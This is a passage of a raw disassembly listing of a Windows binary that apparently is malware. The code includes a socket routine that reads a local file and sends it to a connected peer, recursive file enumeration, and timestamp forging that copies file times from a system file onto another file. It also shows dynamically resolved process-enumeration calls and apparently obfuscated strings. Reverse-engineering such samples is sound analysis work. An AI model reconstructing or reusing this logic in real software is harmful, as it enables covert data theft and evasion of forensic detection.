		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset dword_443A30
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13B6CDE
; ---------------------------------------------------------------------------


loc_13B6B41:				; CODE XREF: sub_13B6800+314j
		lea	edx, [esp+0B8h+var_80]
		lea	eax, [esp+0B8h+var_20]
		push	edx
		push	eax
		push	edi
		mov	[esp+0C4h+var_80], 10h
		call	accept	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0C4h+var_7C], eax
		jnz	short loc_13B6B91
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset dword_443A10
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13B6CDE
; ---------------------------------------------------------------------------


loc_13B6B91:				; CODE XREF: sub_13B6800+364j
		push	edi
		call	closesocket	; closesocket
		test	ebx, ebx
		jz	loc_13B6C49


loc_13B6BA0:				; CODE XREF: sub_13B6800+43Cj
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_13B6BAB
		mov	ebp, ebx


loc_13B6BAB:				; CODE XREF: sub_13B6800+3A7j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0CCh+arg_E0]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	SetFilePointer	; SetFilePointer
		lea	eax, [esp+0D8h+var_AC]
		push	0
		push	eax
		lea	ecx, [esp+0E0h+arg_D0]
		push	ebp
		push	ecx
		push	esi
		call	ReadFile	; ReadFile
		mov	eax, [esp+0ECh+var_A4]
		push	0
		lea	edx, [esp+0F0h+arg_BC]
		push	ebp
		push	edx
		push	eax
		call	send	; send
		mov	ecx, [esp+0FCh+var_E8]
		mov	ebp, [esp+0FCh+var_E4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+104h+var_E8], ecx
		lea	ecx, [esp+104h+arg_AC]
		adc	ebp, edx
		mov	edx, [esp+104h+var_B4]
		push	ecx
		push	edx
		mov	[esp+10Ch+var_E4], ebp
		call	recv	; recv
		cmp	eax, 1
		jl	loc_13B6D12
		cmp	edi, 1
		jl	loc_13B6D12
		sub	ebx, edi
		jnz	loc_13B6BA0
		mov	ebp, [esp+10Ch+arg_53D0]


loc_13B6C49:				; CODE XREF: sub_13B6800+39Aj
		push	esi
		call	CloseHandle	; CloseHandle
		lea	ecx, [esp+110h+var_90]
		call	sub_13AB824
		mov	eax, [esp+110h+var_F8]
		mov	ecx, [esp+110h+var_FC]
		push	eax
		push	ecx
		lea	ecx, [esp+118h+var_C4]
		mov	[esp+118h+arg_53C4], 3
		call	sub_13AB8D3
		mov	edx, [esp+118h+var_74]
		push	eax
		push	edx
		call	inet_ntoa	; inet_ntoa
		push	eax
		lea	eax, [esp+124h+var_94]
		push	offset dword_4439DC
		push	eax
		call	sub_13AB42D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+118h+var_94]
		call	sub_13AB8D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+124h+var_A4]
		mov	[esp+124h+arg_53B0], 2
		call	sub_13AB626


loc_13B6CDE:				; CODE XREF: sub_13B6800+33Cj
					; sub_13B6800+38Cj
		lea	ecx, [esp+124h+var_BC]
		mov	[esp+124h+arg_53B0], 0
		call	sub_13AB626
		mov	ebx, [esp+124h+var_114]


loc_13B6CF3:				; CODE XREF: sub_13B6800+1DCj
					; sub_13B6800+243j
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_13B6D00


loc_13B6CF9:				; CODE XREF: sub_13B6800+CBj
		push	ebx
		call	closesocket	; closesocket


loc_13B6D00:				; CODE XREF: sub_13B6800+4F7j
		mov	eax, [esp+128h+var_E0]
		push	eax
		call	closesocket	; closesocket
		push	esi
		call	ExitThread	; ExitThread


loc_13B6D12:				; CODE XREF: sub_13B6800+42Bj
					; sub_13B6800+434j
		mov	esi, [esp+130h+arg_53AC]
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset dword_4439C4
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		mov	edx, [esp+140h+var_F8]
		push	edx
		call	closesocket	; closesocket
		push	1
		call	ExitThread	; ExitThread


loc_13B6D52:				; CODE XREF: sub_13B6800+3Dj
		mov	ecx, [esp+148h+arg_5384]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54CCh
		retn	4
sub_13B6800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6ED0	proc near		; CODE XREF: sub_13AB491j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_13AB824
		mov	eax, esi
		pop	esi
		retn
sub_13B6ED0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6EF0	proc near		; CODE XREF: sub_13ABEFFj
		add	ecx, 8
		jmp	sub_13AB626
sub_13B6EF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6F10	proc near		; CODE XREF: sub_13AC445j

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438CE8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_13ABBE4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+34h+var_30]
		mov	[esp+34h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_18]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13B6F10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B6FB0	proc near		; CODE XREF: sub_13ABFA4j

var_50		= byte ptr -50h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_1F		= byte ptr -1Fh
var_10		= byte ptr -10h
var_A		= byte ptr -0Ah
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h
arg_D		= byte ptr  11h
arg_E		= byte ptr  12h
arg_F		= dword	ptr  13h
arg_18		= byte ptr  1Ch
arg_1B		= dword	ptr  1Fh
arg_1F		= dword	ptr  23h
arg_23		= dword	ptr  27h
arg_27		= dword	ptr  2Bh
arg_2B		= dword	ptr  2Fh
arg_2724	= dword	ptr  2728h
arg_2730	= byte ptr  2734h
arg_2734	= byte ptr  2738h
arg_273C	= byte ptr  2740h
arg_2740	= byte ptr  2744h
arg_2748	= byte ptr  274Ch
arg_274C	= byte ptr  2750h
arg_275C	= byte ptr  2760h
arg_2760	= byte ptr  2764h
arg_2774	= dword	ptr  2778h
arg_2780	= dword	ptr  2784h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	438D37h
		push	eax
		mov	eax, 2780h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	esi
		add	ecx, 4
		call	sub_13AB8D3
		mov	esi, [esp+10h+arg_2780]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B71B2
		push	ebx
		lea	ecx, [esp+18h+arg_8]
		call	sub_13ABD8D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+1Ch+arg_C]
		mov	[esp+1Ch+arg_2774], ebx
		mov	[esp+1Ch+arg_8], ebx
		call	sub_13AC40E
		push	1
		push	offset dword_443600
		lea	ecx, [esp+24h+var_10]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13AB5EA
		mov	ecx, eax
		mov	[esp+2Ch+arg_2760], 1
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+30h+arg_D]
		call	sub_13ABE87
		lea	ecx, [esp+30h+var_24]
		mov	[esp+30h+arg_275C], bl
		call	sub_13AB626
		push	1
		push	offset dword_443600
		lea	edx, [esp+38h+var_24]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_13AB5EA
		mov	ecx, eax
		mov	[esp+40h+arg_274C], 2
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+44h+arg_E]
		call	sub_13ABE87
		lea	ecx, [esp+44h+var_38]
		mov	[esp+44h+arg_2748], bl
		call	sub_13AB626
		mov	edx, [esp+44h+arg_1B]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+44h+arg_23], eax
		lea	eax, [esp+44h+var_38]
		mov	[esp+44h+arg_27], ecx
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+arg_8+2]
		mov	[esp+4Ch+arg_1F], ebx
		mov	[esp+4Ch+arg_2B], 1
		call	sub_13AC22E
		push	offset dword_443B14
		mov	ecx, eax
		mov	[esp+50h+arg_2740], 3
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+50h+var_44]
		mov	[esp+50h+arg_273C], bl
		setz	[esp+50h+var_45]
		call	sub_13AB626
		cmp	[esp+50h+var_45], bl
		jz	short loc_13B712F
		mov	ecx, [esp+50h+arg_F]
		lea	edx, [esp+50h+var_44]
		push	ecx
		push	edx
		lea	ecx, [esp+5Ah]
		call	sub_13AC22E
		push	offset dword_446F84
		mov	ecx, eax
		mov	[esp+5Ch+arg_2734], 4
		call	sub_13ABE87
		lea	ecx, [esp+5Ch+var_50]
		mov	[esp+5Ch+arg_2730], bl
		call	sub_13AB626


loc_13B712F:				; CODE XREF: sub_13B6FB0+146j
		push	ebx
		lea	ecx, [esp+60h+var_A]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+64h+var_1F]
		call	sub_13AB8D3
		push	eax
		mov	eax, [esp+68h+arg_8+3]
		push	eax
		lea	ecx, [esp+6Ch+var_34]
		call	sub_13ABA81
		mov	ecx, [esp+6Ch+var_38]
		push	eax
		push	ecx
		call	sub_13AC657
		add	esp, 18h
		lea	edx, [esp+5Ch+arg_18]
		push	eax
		push	offset dword_443B00
		push	edx
		call	wsprintfA	; wsprintfA
		mov	eax, [esp+68h+arg_F]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_13B719D
		mov	eax, [esp+5Ch+arg_8+3]
		lea	ecx, [esp+5Ch+arg_18]
		push	eax
		push	ecx
		lea	ecx, [esp+64h+var_34]
		call	sub_13ABA81
		mov	edx, [esp+64h+var_38]
		push	eax
		push	edx
		call	sub_13AB923
		add	esp, 10h


loc_13B719D:				; CODE XREF: sub_13B6FB0+1CAj
		mov	eax, [esp+67h]
		push	eax
		call	sub_13AC224
		add	esp, 4
		push	ebx
		call	ExitThread	; ExitThread
		pop	ebx


loc_13B71B2:				; CODE XREF: sub_13B6FB0+3Aj
		mov	ecx, [esp+5Ch+arg_2724]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 278Ch
		retn	4
sub_13B6FB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7260	proc near		; CODE XREF: sub_13ABD8Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438D76h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_13AB824
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13B7260	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B72E0	proc near		; CODE XREF: sub_13AC66Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438DA6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+2Eh]
		mov	[esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13B72E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7360	proc near		; CODE XREF: sub_13AC657j

var_1C		= byte ptr -1Ch
var_14		= byte ptr -14h
var_8		= byte ptr -8
arg_C		= byte ptr  10h
arg_20		= byte ptr  24h
arg_21		= byte ptr  25h
arg_128		= byte ptr  12Ch
arg_13C		= byte ptr  140h
arg_238		= byte ptr  23Ch
arg_328		= byte ptr  32Ch
arg_2A3C	= dword	ptr  2A40h
arg_2A40	= dword	ptr  2A44h
arg_2A44	= dword	ptr  2A48h
arg_2A50	= dword	ptr  2A54h
arg_2A54	= dword	ptr  2A58h
arg_2A58	= dword	ptr  2A5Ch
arg_2A5C	= dword	ptr  2A60h
arg_2A64	= dword	ptr  2A68h
arg_2A68	= dword	ptr  2A6Ch

		mov	eax, 2A58h
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_2A68]
		push	edi
		mov	edi, _snprintf
		push	esi
		push	offset dword_443B28
		lea	eax, [esp+18h+arg_13C]
		push	104h
		push	eax
		call	edi ; _snprintf
		add	esp, 10h
		lea	ecx, [esp+10h]
		lea	edx, [esp+10h+arg_13C]
		push	ecx
		push	edx
		call	FindFirstFileA	; FindFirstFileA
		mov	ebp, [esp+18h+arg_2A64]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_13B742B


loc_13B73B4:				; CODE XREF: sub_13B7360+C9j
		test	[esp+18h+var_8], 10h
		jz	short loc_13B741B
		cmp	[esp+18h+arg_20], 2Eh
		jnz	short loc_13B73CE
		mov	al, [esp+18h+arg_21]
		test	al, al
		jz	short loc_13B741B
		cmp	al, 2Eh
		jz	short loc_13B741B


loc_13B73CE:				; CODE XREF: sub_13B7360+60j
		lea	eax, [esp+18h+arg_20]
		lea	ecx, [esp+18h+arg_238]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi ; _snprintf
		mov	eax, [esp+2Ch+arg_2A5C]
		mov	ecx, [esp+2Ch+arg_2A58]
		lea	edx, [esp+2Ch+arg_238]
		push	ebp
		push	edx
		mov	edx, [esp+34h+arg_2A54]
		push	eax
		mov	eax, [esp+38h+arg_2A50]
		push	ecx
		push	edx
		push	eax
		call	sub_13AC657
		add	esp, 2Ch
		mov	ebp, eax


loc_13B741B:				; CODE XREF: sub_13B7360+59j
					; sub_13B7360+68j ...
		lea	ecx, [esp+18h+var_8]
		push	ecx
		push	ebx
		call	FindNextFileA	; FindNextFileA
		test	eax, eax
		jnz	short loc_13B73B4


loc_13B742B:				; CODE XREF: sub_13B7360+52j
		push	ebx
		call	FindClose	; FindClose
		mov	edx, [esp+24h+arg_2A50]
		lea	eax, [esp+24h+arg_128]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi ; _snprintf
		add	esp, 14h
		lea	ecx, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_128]
		push	ecx
		push	edx
		call	FindFirstFileA	; FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_13B74BF


loc_13B746C:				; CODE XREF: sub_13B7360+15Dj
		lea	eax, [esp+2Ch+arg_C]
		lea	ecx, [esp+2Ch+arg_328]
		push	eax
		push	esi
		push	offset dword_443B18
		push	270Fh
		push	ecx
		inc	ebp
		call	edi ; _snprintf
		mov	edx, [esp+40h+arg_2A44]
		mov	ecx, [esp+40h+arg_2A40]
		lea	eax, [esp+40h+arg_328]
		push	edx
		mov	edx, [esp+44h+arg_2A3C]
		push	eax
		push	ecx
		push	edx
		call	sub_13AB923
		add	esp, 24h
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	ebx
		call	FindNextFileA	; FindNextFileA
		test	eax, eax
		jnz	short loc_13B746C


loc_13B74BF:				; CODE XREF: sub_13B7360+10Aj
		push	ebx
		call	FindClose	; FindClose
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 2A58h
		retn
sub_13B7360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7540	proc near		; CODE XREF: sub_13AB44Bj

var_60		= byte ptr -60h
var_54		= byte ptr -54h
var_48		= byte ptr -48h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438DE0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_48]
		mov	[esp+50h+var_10], edi
		call	sub_13AB626
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+64h+var_48]
		push	1
		push	edx
		call	sub_13ABDB5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+54h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+5Ch+var_54]
		mov	[esp+5Ch+var_1C], edi
		call	sub_13AB626
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+74h+var_54]
		push	13h
		push	ecx
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+60h+var_1C], 2
		call	sub_13ABBE4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+68h+var_60]
		mov	[esp+68h+var_28], edi
		call	sub_13AB626
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+84h+var_48]
		push	eax
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+6Ch+var_28], 3
		call	sub_13ABBE4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+var_34], edi
		call	sub_13AB626
		mov	ecx, [esp+74h+var_3C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13B7540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B76F0	proc near		; CODE XREF: sub_13AB7CAj

var_104		= byte ptr -104h
var_100		= byte ptr -100h
arg_4		= dword	ptr  8

		sub	esp, 104h
		lea	eax, [esp+104h+var_104]
		push	104h
		push	eax
		push	0
		call	GetModuleHandleA	; GetModuleHandleA
		push	eax
		call	GetModuleFileNameA	; GetModuleFileNameA
		mov	eax, ds:dword_4470C0
		test	eax, eax
		jz	loc_13B7813
		mov	ecx, ds:dword_4470BC
		test	ecx, ecx
		jz	loc_13B7813
		mov	ecx, ds:dword_446F88
		test	ecx, ecx
		jz	loc_13B7813
		push	0
		push	2
		call	eax ; dword_4470C0
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_4470B8, eax
		jz	loc_13B7813
		push	ebp
		push	offset dword_446F90
		push	eax
		xor	ebp, ebp
		mov	ds:dword_446F90, 128h
		call	ds:dword_4470BC
		test	eax, eax
		jz	loc_13B77FC
		push	ebx
		mov	ebx, [esp+108h+arg_4]
		push	esi
		mov	esi, strncmp
		push	edi


loc_13B777D:				; CODE XREF: sub_13B76F0+107j
		mov	edi, offset dword_446FB4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+110h+var_100]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446FB4
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+114h+var_100]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446FB4
		add	edx, ecx
		push	edx
		call	esi ; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_13B77E3
		mov	edi, offset dword_446FB4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446FB4
		mov	ecx, ebx
		call	sub_13ABA81
		push	eax
		call	esi ; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13B77E4


loc_13B77E3:				; CODE XREF: sub_13B76F0+CBj
		inc	ebp


loc_13B77E4:				; CODE XREF: sub_13B76F0+F1j
		mov	eax, ds:dword_4470B8
		push	offset dword_446F90
		push	eax
		call	ds:dword_446F88
		test	eax, eax
		jnz	short loc_13B777D
		pop	edi
		pop	esi
		pop	ebx


loc_13B77FC:				; CODE XREF: sub_13B76F0+77j
		mov	ecx, ds:dword_4470B8
		push	ecx
		call	CloseHandle	; CloseHandle
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_13B7813:				; CODE XREF: sub_13B76F0+26j
					; sub_13B76F0+34j ...
		xor	eax, eax
		add	esp, 104h
		retn
sub_13B76F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7870	proc near		; CODE XREF: sub_13AC391j

var_11C		= byte ptr -11Ch
var_114		= byte ptr -114h
var_10C		= byte ptr -10Ch
var_104		= byte ptr -104h
arg_0		= dword	ptr  4

		sub	esp, 11Ch
		lea	eax, [esp+11Ch+var_104]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	GetWindowsDirectoryA	; GetWindowsDirectoryA
		mov	edi, offset dword_443B30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+128h+var_104]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, CreateFileA
		lea	eax, [esp+13Ch+var_104]
		push	80000000h
		push	eax
		call	edi ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13B7936
		lea	ecx, [esp+128h+var_10C]
		lea	edx, [esp+128h+var_11C]
		push	ecx
		lea	eax, [esp+12Ch+var_114]
		push	edx
		push	eax
		push	esi
		call	GetFileTime	; GetFileTime
		mov	ebx, CloseHandle
		push	esi
		call	ebx ; CloseHandle
		mov	ecx, [esp+128h+arg_0]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13B7936
		lea	edx, [esp+128h+var_10C]
		lea	eax, [esp+128h+var_11C]
		push	edx
		lea	ecx, [esp+12Ch+var_114]
		push	eax
		push	ecx
		push	esi
		call	SetFileTime	; SetFileTime
		push	esi
		call	ebx ; CloseHandle


loc_13B7936:				; CODE XREF: sub_13B7870+69j
					; sub_13B7870+ABj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
sub_13B7870	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B7990	proc near		; CODE XREF: sub_13ABF59j

var_194		= byte ptr -194h
var_184		= byte ptr -184h
var_17C		= byte ptr -17Ch
var_178		= byte ptr -178h
var_174		= byte ptr -174h
var_16C		= byte ptr -16Ch
var_164		= byte ptr -164h
var_15C		= byte ptr -15Ch
var_12C		= dword	ptr -12Ch
var_110		= byte ptr -110h
var_FC		= word ptr -0FCh
var_E8		= byte ptr -0E8h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_10		= dword	ptr  14h

		push	0FFFFFFFFh
		push	438E58h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_13AB824
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		lea	ecx, [esp+198h+var_15C]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+4]
		call	sub_13AB9D7
		lea	ecx, [esp+19Ch+var_178]
		call	sub_13AB824
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1A4h+var_178]
		mov	[esp+1A4h+arg_4], bl
		call	sub_13AC05D
		push	eax
		push	0
		call	GetModuleHandleA	; GetModuleHandleA
		push	eax
		call	GetModuleFileNameA	; GetModuleFileNameA
		push	offset dword_443BB0
		call	LoadLibraryA	; LoadLibraryA
		mov	esi, eax
		test	esi, esi
		jz	short loc_13B7A81
		mov	edi, GetProcAddress
		push	offset dword_443B94
		push	esi
		call	edi ; GetProcAddress
		push	offset dword_443B74
		push	esi
		mov	ds:dword_4470C4, eax
		call	edi ; GetProcAddress
		push	offset dword_443B60
		push	esi
		mov	ds:dword_4470C0, eax
		call	edi ; GetProcAddress
		push	offset dword_443B50
		push	esi
		mov	ds:dword_4470BC, eax
		call	edi ; GetProcAddress
		mov	ds:dword_446F88, eax
		mov	eax, ds:dword_4470C4
		test	eax, eax
		jz	short loc_13B7A81
		push	ebx
		push	0
		call	eax ; dword_4470C4


loc_13B7A81:				; CODE XREF: sub_13B7990+A7j
					; sub_13B7990+EAj
		mov	esi, [esp+198h+arg_10]
		push	0
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+1A0h+var_174]
		call	sub_13AC517
		test	eax, eax
		jnz	short loc_13B7AB8
		mov	al, ds:byte_4471AF
		test	al, al
		jz	short loc_13B7AB8
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4


loc_13B7AB8:				; CODE XREF: sub_13B7990+10Dj
					; sub_13B7990+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D0h+var_194]
		push	17h
		push	eax
		call	sub_13ABDB5
		add	esp, 38h
		mov	ecx, eax
		mov	[esp+1A0h+arg_0], 2
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+1A0h+var_194]
		mov	[esp+1A0h+arg_0], bl
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+1CCh+var_194]
		push	4
		push	ecx
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+1A0h+arg_0], 3
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+1A0h+var_194]
		mov	[esp+1A0h+arg_0], bl
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+1C4h+var_194]
		push	14h
		push	edx
